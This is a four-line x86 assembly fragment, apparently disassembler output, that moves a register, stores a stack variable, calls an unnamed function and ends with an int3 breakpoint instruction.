mov ecx, eax
mov dword [ebp - 4], 0
call fcn.00415dc0
int3